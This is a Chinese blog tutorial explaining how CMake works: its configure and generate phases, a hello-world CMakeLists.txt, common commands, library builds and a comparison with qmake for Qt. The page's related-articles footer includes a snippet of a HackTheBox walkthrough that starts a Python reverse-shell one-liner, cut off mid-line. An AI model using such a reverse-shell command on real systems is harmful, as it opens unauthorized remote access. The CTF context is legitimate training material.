CMake的原理与使用方法

一.为什么需要CMake,什么是CMake

   1.由于各种make工具遵循不同的规范和标准,所执行的Makefile格式也不同,例如 GNU Make ,QT 的 qmake ,微软的 MS nmake,BSD Make(pmake),Makepp,等等。这些 Make 工具遵循着不同的规范和标准,所执行的 Makefile 格式也千差万别。

这样就带来了一个严峻的问题:如果软件想跨平台,必须要保证能够在不同平台编译。而如果使用上面的 Make 工具,就得为每一种标准写一次 Makefile ,这将是一件让人抓狂的工作。

CMake 就是针对上面问题所设计的工具:它首先允许开发者编写一种平台无关的 CMakeList.txt 文件来定制整个编译流程,然后再根据目标用户的平台进一步生成所需的本地化 Makefile 和工程文件,如 Unix 的 Makefile 或 Windows 的 Visual Studio 工程。从而做到“Write once, run everywhere”。显然,CMake 是一个比上述几种 make 更高级的编译配置工具。让软件真正实现了跨平台。

一些使用 CMake 作为项目架构系统的知名开源项目有 VTK、ITK、KDE、OpenCV、OSG 等 。

   

2.官方文档网址:www.cmake.org

3.CMake的主要特点

跨平台:CMake可以在多种操作系统上运行,包括Windows、Linux、macOS等。

编译器无关:CMake支持多种编译器,如GCC、Clang、Microsoft Visual C++等。

自动化:CMake可以自动检测系统特性,如库、头文件和编译器特性,并根据这些信息生成构建文件。

可扩展性:CMake提供了模块和脚本机制,允许用户扩展其功能。

生成多种构建系统:CMake可以生成多种构建系统的构建文件,如Makefile、Ninja、Visual Studio工程文件等。

开发语言:CMake的开发语言是C和C++。

4.其他构建工具     

除了CMake外还有很多其他构建工具:XMake,qmake,Scons, Ninja, Meson, Baze等

二.CMake怎么用

1.CMake与makefile关系图

2.CMake处理原理

CMake有两个主要的阶段。首先是"配置(configure)",在此阶段CMake处理所有的输入然后创建软件构建过程的内部表达。第二个阶段是"生成(generate)",负责创建出实际的构建文件。

1环境变量与缓存

对1999年甚至是今天的许多构建系统来说,生成工程时都要用到底层(shell级别)的环境变量。典型的情况是,用PROJECT_ROOT环境变量来指向源码树的根目录。环境变量还被用于指定可选软件包和外部软件包。但是使用环境变量的方法也有弊端,它需要每次构建时都重新设置环境变量。为解决这个问题,CMake使用缓存文件来存储生成过程中用到的所有变量。这些变量不再是环境变量,而是CMake变量。CMake针对某个特定构建树第一次运行时,会创建一个CMakeCache.txt文件,存储当前构建过程中需要用到的CMake变量。这个缓存文件属于构建树的一部分,所以在之后的每次针对该构建树的重新配置时, 这些变量都是可重用的。

2配置阶段

在配置阶段,CMake首先尝试读取CMakeCache.txt文件,该文件在第一次运行时生成。然后,读取源码树根目录下的CMakeLists.txt文件,并使用CMake词法分析器处理。CMakeLists.txt中的每条命令都由一个命令模式对象执行。通过include和add_subdirectory命令,更多的CMakeLists.txt得到执行。对于每条命令,CMake都有一个C++对象来处理,比如add_library, if, add_executable, add_subdirectory,include等。实际上,整个CMake语言就是以命令调用的方式实现的。词法分析器只不过将输入文件内容转化为命令和命令参数而已。

配置阶段主要是运行用户定义的CMake代码。等到执行完之后,以及所有缓存变量计算完成之后,CMake在内存中得到一个项目构建的内部表达。这个内存中的内部表达包括了所有的库文件,可执行文件,定制的命令,以及生成指定generator(指特定的编译环境)所需的其他必要信息。这时,CMakeCache.txt会被存储到磁盘上,供以后重新运行CMake时使用。

项目在内存中的表达实际上是一些待生成的目标的集合,包括基本的库文件和可执行文件。CMake还支持目标的定制,即用户可以定义输入和输出,并提供定制的可在构建过程中运行的可执行文件或脚本。CMake将每个目标存储在一个cmTarget对象中,然后多个cmTarget存储在一个cmMakefile对象中,cmMakefile对象实际上用来存储源码树中某个目录中的所有目标。最后得到的结果是一棵cmMakefile对象的树,树结点中存储cmTarget对象的映射。

3生成阶段

一旦配置(configure)阶段完成,生成(generator)阶段就可以开始了。生成阶段将生成用户指定类型(如Visual Studio或GNU/Linux GCC)的构建文件。这时,目标的内部表达(库,可执行文件,定制目标)转化为本地构建工具的输入文件,如Visual Studio或Makefile文件。CMake由配置阶段获得的内部表达要尽可能地抽象和通用,这样的数据结构才能被不同的本地构建工具所共享。

3.安装cmake

sudo apt-get install cmake

4.构建工程项目流程

(1).构建CMakeLists.txt

CMake 构建脚本是一个纯文本文件,您必须将其命名为 CMakeLists.txt,并在其中包含 CMake 构建您的 C/C++ 库时需要使用的命令。如果您的原生源代码文件还没有 CMake 构建脚本,您需要自行创建一个,并在其中包含适当的 CMake 命令。

(2).在包含CMakeLists.txt的目录下使用cmake

         1)构建放在当前目录下(内部构建):cmake . 即在当前目录cmake,在当前目录build。

         2)在当前目录下创建build文件夹存放构建文件(外部构建),build内输入cmake ..。即在上级目录cmake,在该目录下build。

结果:生成4个东西:CMakeFiles文件夹、cmake_install.cmake、CMakeCache.txt、Makefile

只要产生Makefile文件,就说明cmake成功了

(3).在包含Makefile的目录下使用make

直接在build出4个东西的目录下(命令针对的是Makefile)输入make

(4).生成可执行文件。 输入./文件名运行

5.举例

1)先编写main.cpp

#include <iostream>

using namespace std;

int main(){

cout<<"hello,world"<<endl;

return 0;

}

2)编写CMakeLists.txt

PROJECT(HELLO)            #工程名为HEELO

SET(SRC_LIST main.cpp)    #变量SRC_LIST包含main.cpp

MESSAGE(STATUS "This is BINARY dir " ${HELLO_BINARY_DIR})

MESSAGE(STATUS "This is SOURCE dir " ${HELLO_SOURCE_DIR})

ADD_EXECUTABLE(hello ${SRC_LIST}) #生成可执行程序文件名为hello,源文件读取变量SRC_LIST中内容

3)cmake

cmake .

生成了4个东西:CMakeFiles文件夹、cmake_install.cmake、CMakeCache.txt、Makefile

4)make

make

生成了可执行文件hello

5)执行

./hello

显示"hello,world"

三.如何编写CMakeLists.txt

1.CMakeLists.txt并不是顺序执行的,相当于一系列的声明

CMakeList.txt 的语法比较简单,由命令、注释和空格组成:

#后面内容为注释;

命令由命令名称、小括号和参数组成,参数之间使用空格进行间隔,其中命令是不区分大小写的。

2.语法详解

PROJECT关键字 ※

可以用来指定工程的名字和支持的语言,默认支持所有语言

PROJECT(HELLO) 指定了工程的名字为HELLO,且支持所有语言(建议这样做)

PROJECT(HELLO CXX)指定了工程的名字为HELLO,仅支持C++语言

PROJECT(HELLO C CXX)指定了工程的名字为HELLO,仅支持C和C++语言

该指定隐式地定义了两个CMake变了

<projectname>_BINARY_DIR

<projectname>_SOURCE_DIR

本例中是HELLO_BINARY_DIR、HELLO_SOURCE_DIR

MESSAGE关键字就可以直接使用这两个变量。当前都指向当前的工作目录

SET关键字

SET用来显式的指定变量,可以为多个

SET(SRC_LIST main.cpp) 意为SRC_LIST变量包含了main.cpp

SET(SRC_LIST main.cpp test1.cpp test2.cpp) 意为SRC_LIST变量包含了main.cpp、test1.cpp、test2.cpp

MESSAGE关键字

向终端输出用户自定义的信息,主要包含三种:

SEND_ERROR:产生错误,生成过程被跳过

STATUS:输出前缀为- -的信息

FATAL_ERROR:立即终止所有cmake过程

ADD_EXECUTABLE关键字 ※

生成可执行文件

ADD_EXECUTABLE(hello $(SRC_LIST)),生成的可执行文件名为hello,源文件读取变量SRC_LIST中的内容

也可直接写为 ADD_EXECUTABLE(hello main.cpp)

注意:工程名的HELLO和生成的可执行文件hello是没有任何关系的

所以,上例中的5行CMakeLists.txt可以简化为2行:

PROJECT(HELLO)

ADD_EXECUTABLE(hello main.cpp)

ADD_SUBDIRECTORY关键字

①有子目录时,要用ADD_SUBDIRECTORY关键字包含所有需要访问的子文件夹。除了工程目录外,每个被访问的子目录里也都需要有一个CMakeLists.txt说明

②将目标文件放入构建目录的bin子目录:ADD_SUBDIRECTOR(子目录名 bin):自动在子目录下新建一个名为bin的子目录,存放中间二进制文件、目标二进制文件、库文件。

注意:文件就是file。目录(文件夹)就是directory。

语法基本原则

(1).变量取值 ${ }

(1).分隔多个文件:空格或者分号

(3).大小写:指令大小写不敏感,参数和变量对大小写敏感

3.安装文件

INSTALL(FILES 文件名 DESTINATION 目标地址)

举例3:

工程目录下的CMakeLists.txt添加一行:

INSTALL(FILES COPYRIGHT README DESTINATION share/doc/cmake)   #会自动安装到/usr/local/share/doc/cmake下

DESTINATION后面:

(1).写绝对路径

(2).相对路径:

CMAKE_INSTALL_PREFIX 默认是在/usr/local/

若想要更改,可以手动设置

set(CMAKE_INSTALL_PREFIX "目标路径")

这时候再 DESTINATION ${CMAKE_INSTALL_PREFIX},就导出到目标路径上了。

4.可执行文件安装

在src的CMakeLists.txt里输入

INSTALL(TARGETS hello DESTINATION bin)

5.生成静态库和动态库

SET(变量 源文件名)

ADD_LIBRARY(库名 STATIC或SHARED ${变量})

构建动态库(命令用SHARED) (构建静态库,命令用STATIC)

举例:

SET(LIBHELLO_SRC hello.cpp)

ADD_LIBRARY(hello SHARED ${LIBHELLO_SRC})    #生成动态库libhello.so

6.使用外部头文件和共享库

 (1)添加头文件搜索路径:

  INCLUDE_DIRECTORIES(路径)

 (2)添加需要链接的共享库

TARGET_LINK_LIBRARIES(源文件名 库名)

TARGET_LINK_LIBRARIES(main libhello.so)    #链接动态库

TARGET_LINK_LIBRARIES(main libhello.a)     #链接静态库

四.QT中的CMake

1.QMake和CMake

  qmake和cmake两者都用来构建系统,都生成一个Makefile,该文件由make读取以构建项目,告诉编译器和链接器该做什么,以创建可执行文件(或动态或静态库)。

  qmake专注于使用Qt的项目,QtCreator可以轻松生成项目文件(适合初学者),并由QtCreator支持;CMake用于广泛的项目,支持多种平台和语言,受多个IDE支持:例如QtCreator,Visual Studio,

  生成多个IDE的项目描述,包含简化Qt使用的命令(最重要:automoc)。如果项目使用Qt,则最好使用qmake。 CMake更通用,几乎适合任何类型的项目。

2.Qt公司自Qt 5.14版本开始推荐使用CMake作为Qt项目的构建系统,而不是qmake。

  CMake是一个跨平台的构建系统,支持多种编译器和IDE,而qmake是Qt自带的构建工具,主要用于Qt项目。

Qt公司推荐使用CMake的原因包括:

跨平台支持:CMake支持多种操作系统和编译器,使得Qt项目可以在不同的平台上轻松构建。

社区支持:CMake拥有一个活跃的社区,提供了大量的模块和工具,可以帮助开发者更高效地构建和管理项目。

集成支持:CMake与许多IDE和构建系统紧密集成,如Visual Studio、Xcode、Make等。

模块化:CMake提供了模块化的构建脚本,使得项目可以更容易地管理和扩展。

性能:CMake的配置和生成过程通常比qmake更快,特别是在处理大型项目时。

3.qmake更适合构建小型Qt项目,简单易用;而cmake更适合构建复杂、跨平台的C++项目,功能更加强大和灵活。

如果没有什么跨平台需求的话,qmake也是没有问题的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/19849.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【3GPP IAB】NR IAB推荐架构

1 概述 3GPP所有提交给RAN-3 #99的IAB多跳设计都可以用五个架构参考图来表示。这些参考图的不同之处是需要对接口进行修改&#xff0c;或者需要额外的功能&#xff0c;例如完成多跳转发。这五个体系结构被分为两个体系结构组。这些架构的主要特点可以概括如下: 架构组1:由架构1…

java期末突击

目录 1. 快速入门 2. 类 3. 成员方法 4. 构造器 5. 单例模式 6. 继承 7. 抽象类 8. 多线程&#xff08;Thread与Runnable&#xff09; 1. 快速入门 public class Hello {public static void main(String[] args){System.out.println("Hello,World&q…

从头开始构建GPT标记器

从头开始构建GPT标记器 对于GPT Tokenizer&#xff0c;论文《Language Models are Unsupervised Multitask Learners》中介绍了一种字节级编码作为LLM的标记化机制&#xff1a; The vocabulary is expanded to 50,257. We also increase the context size from 512 to 1024 to…

C# 代码配置的艺术

文章目录 1、代码配置的定义及其在软件工程中的作用2、C# 代码配置的基本概念和工具3、代码配置的实践步骤4、实现代码配置使用属性&#xff08;Properties&#xff09;使用配置文件&#xff08;Config Files&#xff09;使用依赖注入&#xff08;Dependency Injection&#xf…

跨境电商如何有效做好店铺账号管理?

跨境电商有效做好店铺账号管理至关重要&#xff0c;类似亚马逊、Temu、TikTok、ebay跨境电商账号涉及多个方面&#xff0c;包括多个账户的安全性、合规性、操作效率等。以下是一些我自己实操的策略和实践&#xff0c;希望能够帮助大家更好地管理跨境电商店铺账号。 一、哪些行为…

Spring Boot 整合 spring-boot-starter-mail 实现邮件发送和账户激活

&#x1f604; 19年之后由于某些原因断更了三年&#xff0c;23年重新扬帆起航&#xff0c;推出更多优质博文&#xff0c;希望大家多多支持&#xff5e; &#x1f337; 古之立大事者&#xff0c;不惟有超世之才&#xff0c;亦必有坚忍不拔之志 &#x1f390; 个人CSND主页——Mi…

单片机串口接收负数的处理方法

dp80中有很多外设处理相关的都是有符号数据。 如dpm计算的结果&#xff0c;插入dpm后有时候会得到0xFFFFFFFE-2&#xff08;从调试界面也可以看到&#xff09;。

【深度密码】神经网络算法在机器学习中的前沿探索

目录 &#x1f69d;前言 &#x1f68d;什么是机器学习 1. 基本概念 2. 类型 3. 关键算法 4. 应用领域 5. 工作流程 &#x1f68b;什么是神经网络 基本结构 &#x1f682;神经网络的工作原理 前向传播&#xff08;Forward Propagation&#xff09;&#xff1a; 损失函…

RT-DETR:端到端的实时Transformer检测模型(目标检测+跟踪)

博主一直一来做的都是基于Transformer的目标检测领域&#xff0c;相较于基于卷积的目标检测方法&#xff0c;如YOLO等&#xff0c;其检测速度一直为人诟病。 终于&#xff0c;RT-DETR横空出世&#xff0c;在取得高精度的同时&#xff0c;检测速度也大幅提升。 那么RT-DETR是如…

前端 CSS 经典:3D Hover Effect 效果

前言&#xff1a;有趣的 3D Hover Effect 效果&#xff0c;通过 js 监听鼠标移动&#xff0c;动态赋值 rotateX&#xff0c;rotateY 的旋转度来实现。 效果图&#xff1a; 代码实现&#xff1a; <!DOCTYPE html> <html lang"en"><head><meta …

基于鲲鹏服务器搭建简单的开源论坛系统(LAMP)实践分享

LAMPLinux apache mysql( mariadb) PHP 结合利用华为云弹性负载均衡ELB弹性伸缩AS服务 优点&#xff1a; 将访问流量自动分发到多台云服务器&#xff0c;扩展应用系统对外的服务能力&#xff0c;实现更高水平的应用容错&#xff1b; 根据不同的业务、访问需求和预设策略&…

flask-slqalchemy使用详解

目录 1、flask-sqlalchemy 1.1、flask_sqlalchemy 与sqlalchemy 的关系 1.1.1、 基本定义与用途 1.2、flask_sqlalchemy 的使用 1.2.1、安装相关的库 1.2.2、项目准备 1.2.3、创建ORM模型 1.2.3.1、使用db.create_all()创建表的示例 1.2.3.2、创建多表关联ORM模型 1.…

【ETAS CP AUTOSAR基础软件】EcuM模块详解

文章包含了AUTOSAR基础软件&#xff08;BSW&#xff09;中EcuM模块相关的内容详解。本文从AUTOSAR规范解析&#xff0c;ISOLAR-AB配置以及模块相关代码分析三个维度来帮读者清晰的认识和了解EcuM。文中涉及的SOLAR-AB配置以及模块相关代码都是依托于ETAS提供的工具链来配置与生…

语音群呼之语音导航的应用

在数字化时代&#xff0c;语音群呼技术已成为企业、组织和个人高效沟通的重要工具。语音群呼不仅能够快速地将信息传递给目标群体&#xff0c;而且通过语音导航功能&#xff0c;还能确保信息传达的准确性和用户体验的优质性。本文将深入探讨语音群呼的语音导航功能&#xff0c;…

【数据结构与算法】算法优化、时间复杂度、空间复杂度

文章目录 一、什么是复杂度&#xff1f;二、大O表示法三、时间复杂度计算四、常见复杂度的比较五、算法优化的核心方法论六、常见算法复杂度五、总结 一、什么是复杂度&#xff1f; 复杂度是衡量代码运行效率的重要的度量因素。 而复杂度主要就是指时间复杂度和空间复杂度。 …

算法思想总结:哈希表

一、哈希表剖析 1、哈希表底层&#xff1a;通过对C的学习&#xff0c;我们知道STL中哈希表底层是用的链地址法封装的开散列。 2、哈希表作用&#xff1a;存储数据的容器&#xff0c;插入、删除、搜索的时间复杂度都是O&#xff08;1&#xff09;&#xff0c;无序。 3、什么时…

低功耗蓝牙模块在便携式医疗设备上的应用前景

随着科技的不断发展&#xff0c;医疗设备的便携性和智能化已经成为了一种趋势。在这个背景下&#xff0c;低功耗蓝牙模块(Bluetooth Low Energy,简称BLE)作为一种先进的无线通信技术&#xff0c;正逐渐在便携式医疗设备中发挥着越来越重要的作用。本文美迅物联网MesoonRF将探讨…

TiKV学习5:TiDB SQL执行流程

目录 1. DML语句读流程概要 2. DML语句写流程概要 3. DDL 流程概要 4. SQL的Parse和Compile 5. 读取的执行 6. 写入的执行 7. DDL的执行 8. 小结 1. DML语句读流程概要 TiDB Server接收sql并处理&#xff0c;TiKV负责持久化数据&#xff0c;PD提供TSO和Region的数据字典…

HackTheBox-Machines--Bashed

Bashed 测试过程 1 信息收集 NMAP 80 端口 目录扫描 http://10.129.155.171/dev/phpbash.min.php http://10.129.155.171/dev/phpbash.php 半交互式 shell 转向 交互式shell python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.co…

优化CPU占用率及内存占用2

在标准化无线通信板时&#xff0c;关注过程序占用ram的问题&#xff0c;当时 发现每一个线程都会分配8M栈空间&#xff0c;这次换rk3568后&#xff0c;偶尔看了下RAM占用&#xff0c;吓了一跳&#xff0c;不但每个线程有8M栈空间&#xff0c;几乎每个线程都占用了64MB的一个RAM…